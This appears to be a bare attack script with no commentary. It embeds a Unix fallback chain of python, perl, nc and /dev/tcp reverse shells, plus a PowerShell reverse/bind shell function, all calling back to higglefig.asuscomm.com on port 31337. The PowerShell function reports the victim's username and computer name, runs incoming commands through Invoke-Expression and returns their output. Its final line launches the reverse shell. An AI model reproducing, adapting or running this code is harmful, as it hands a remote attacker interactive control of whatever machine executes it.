echo @" " export IP=higglefig.asuscomm.com export PORT=31337 if command -v python > /dev/null 2>&1; then python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("'${IP}'",'${PORT}')); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' exit; fi if command -v python3 > /dev/null 2>&1; then python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("'${IP}'",'${PORT}')); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' exit; fi if command -v perl > /dev/null 2>&1; then perl -e 'use Socket;$i="${IP}";$p=${PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' exit; fi if command -v nc > /dev/null 2>&1; then rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${IP} ${PORT} >/tmp/f' exit; fi if command -v sh > /dev/null 2>&1; then /bin/sh -i >& /dev/tcp/${IP}/${PORT} 0>&1 exit; fi } "@ function Invoke-PowerShellTcp { [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress higglefig.asuscomm.com -Port 31337 #